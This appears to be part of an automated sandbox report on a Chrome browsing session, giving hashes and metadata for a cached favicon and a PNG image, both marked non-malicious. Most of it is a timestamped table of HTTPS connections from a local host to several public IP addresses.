Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 14:36:50.739677906 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:36:50.747097015 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:36:50.849015951 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:36:58.759475946 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.759506941 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.759604931 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.759702921 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.759748936 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.759829044 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.759848118 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.759871006 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.759918928 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.760139942 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.760149956 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.760274887 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.760288000 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.760399103 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.760413885 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.805155993 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.805202961 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:58.805260897 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.805481911 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:58.805496931 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.096703053 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.097115040 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.097131968 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.098154068 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.098216057 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.102329016 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.102406025 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.105410099 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.105420113 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.151082039 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.151504040 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.151527882 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.152070045 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.152375937 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.152406931 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.152997017 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.153067112 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.155030012 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.155112028 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.155939102 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.155949116 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.155955076 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.156025887 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.157540083 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.157583952 CEST	443	49708	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.157587051 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.157627106 CEST	49708	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.158179998 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.158277988 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.158382893 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.191437960 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.191895008 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.191925049 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.192943096 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.193013906 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.193336964 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.193406105 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.193455935 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.200117111 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.213761091 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.213774920 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.213794947 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.236124992 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.404129028 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.404212952 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.414730072 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.433368921 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.433500051 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.433583021 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.433584929 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.433613062 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.433701038 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.435791016 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.435910940 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.435930967 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.435962915 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.435983896 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.436012030 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.475089073 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.475115061 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.475171089 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.475533009 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.475570917 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.475645065 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.475733042 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.475747108 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.475991964 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.476007938 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.795413971 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.795502901 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.795581102 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.795792103 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.795881987 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.796295881 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.796339035 CEST	443	49707	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.796366930 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.796441078 CEST	49707	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.798347950 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.798386097 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.798501968 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.798727036 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:36:59.798742056 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:36:59.994920969 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.995214939 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.995235920 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.996289968 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.996347904 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.997503996 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.997565031 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:36:59.997714996 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:36:59.997723103 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.001457930 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.001647949 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.001662016 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.003163099 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.003226042 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.004143000 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.004220963 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.050517082 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.097409964 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:00.097501993 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:00.097532034 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:00.097546101 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:00.097599030 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:00.108767986 CEST	49710	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:00.108788967 CEST	443	49710	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:00.114695072 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.114707947 CEST	443	49713	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.126926899 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:00.182667971 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.182797909 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:00.182924032 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.204998016 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:00.304958105 CEST	49713	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:00.409238100 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:37:00.409250975 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:37:00.612377882 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:37:01.477796078 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.477827072 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.478363037 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.478903055 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.478941917 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.478996992 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.479448080 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.479533911 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.479859114 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.479873896 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.480122089 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.528122902 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.710844040 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.710899115 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.710954905 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.710978985 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.711021900 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.711040974 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.711064100 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.711086988 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.865721941 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.922930956 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 26, 2024 14:37:01.923032999 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 26, 2024 14:37:01.944010973 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.944062948 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.944287062 CEST	49714	443	192.168.2.5	3.133.210.250
Apr 26, 2024 14:37:01.944318056 CEST	443	49714	3.133.210.250	192.168.2.5
Apr 26, 2024 14:37:01.944582939 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.945172071 CEST	49715	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.945179939 CEST	443	49715	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.946079016 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.946163893 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:01.946417093 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:01.992110014 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.096647978 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.096734047 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.096815109 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.097058058 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.097095013 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.266542912 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.266585112 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.266632080 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.266640902 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.266686916 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.266746044 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.266756058 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.266804934 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.311707973 CEST	49716	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.311764002 CEST	443	49716	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.393521070 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.401232004 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.401278019 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.402997971 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.403078079 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.426007032 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.426229000 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.427845955 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.427860975 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.441418886 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.441454887 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.441508055 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.451422930 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.451437950 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.506990910 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.789292097 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.789381027 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.789458990 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.790894032 CEST	49718	443	192.168.2.5	104.244.42.133
Apr 26, 2024 14:37:02.790927887 CEST	443	49718	104.244.42.133	192.168.2.5
Apr 26, 2024 14:37:02.838747025 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.862575054 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.862596035 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.863070011 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.867054939 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:02.867141008 CEST	443	49720	142.250.64.196	192.168.2.5
Apr 26, 2024 14:37:02.910679102 CEST	49720	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:37:03.297308922 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.297373056 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.297440052 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.298005104 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.298021078 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.298520088 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.298569918 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.298641920 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.298897028 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.298908949 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.606038094 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.606380939 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.606411934 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.608055115 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.608135939 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.610388041 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.610593081 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.610613108 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.611808062 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.611871004 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.729749918 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.729909897 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.729921103 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.729980946 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.732052088 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.732471943 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.816751957 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.816751957 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.816780090 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.816783905 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.891566038 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.891635895 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.891676903 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.891869068 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:03.891927004 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:03.955342054 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:05.653301954 CEST	49721	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:05.653346062 CEST	443	49721	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:06.400624990 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:06.400688887 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:06.400752068 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:06.555574894 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:06.555625916 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:07.431638002 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:07.606379986 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:09.919742107 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:09.919776917 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:09.921237946 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.006243944 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.165760040 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.166151047 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.211524010 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.466248989 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.508152962 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.613545895 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.613934994 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.614170074 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.614876986 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.614917994 CEST	443	49722	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:10.615036011 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.615061045 CEST	49722	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:10.999974012 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:11.044117928 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:11.165895939 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:11.166021109 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:11.166089058 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:11.171272993 CEST	49723	443	192.168.2.5	31.170.163.25
Apr 26, 2024 14:37:11.171303988 CEST	443	49723	31.170.163.25	192.168.2.5
Apr 26, 2024 14:37:11.592050076 CEST	49726	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:37:11.592106104 CEST	443	49726	2.58.15.240	192.168.2.5
Apr 26, 2024 14:37:11.592169046 CEST	49726	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:37:11.592888117 CEST	49727	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:37:11.592967033 CEST	443	49727	2.58.15.240	192.168.2.5
